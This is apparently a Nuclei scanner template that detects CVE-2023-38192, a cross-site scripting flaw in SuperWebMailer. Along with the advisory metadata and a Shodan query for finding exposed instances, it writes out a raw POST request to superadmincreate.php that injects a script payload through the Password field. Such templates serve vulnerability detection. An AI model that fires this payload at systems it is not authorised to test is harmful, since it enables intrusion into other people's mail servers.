id: CVE-2023-38192

info:
  name: SuperWebMailer 9.00.0.01710 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    An issue was discovered in SuperWebMailer 9.00.0.01710 allowing XSS via crafted incorrect passwords.
  impact: |
    Successful exploitation could lead to unauthorized access or data theft.
  remediation: |
    Implement input validation and output encoding to prevent XSS attacks.
  reference:
    - https://herolab.usd.de/security-advisories/usd-2023-0011/
    - https://herolab.usd.de/security-advisories/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38192
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-38192
    cwe-id: CWE-79
    epss-score: 0.00046
    epss-percentile: 0.15636
    cpe: cpe:2.3:a:superwebmailer:superwebmailer:9.00.0.01710:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: superwebmailer
    product: superwebmailer
    shodan-query: title:"SuperWebMailer"
  tags: cve,cve2023,superwebmailer,xss

http:
  - raw:
      - |
        POST /superadmincreate.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        Password=a"><script>alert(document.doamin);</script>&PasswordAgain=b&Language=de&SubmitBtn=Nutzer+erstellen

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Password" value="a"><script>alert(document.doamin);</script>'
          - 'SuperWebMailer'
        condition: and
        case-insensitive: true

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202c4e2a27e322223dc475e76a1be3263ce078846c4fd0f734e2f4c62540106db40221008ee6f090f0745920882251ac57586818a2bbed6751b38253b2b05065952f7fd4:922c64590222798bb761d5b6d8e72950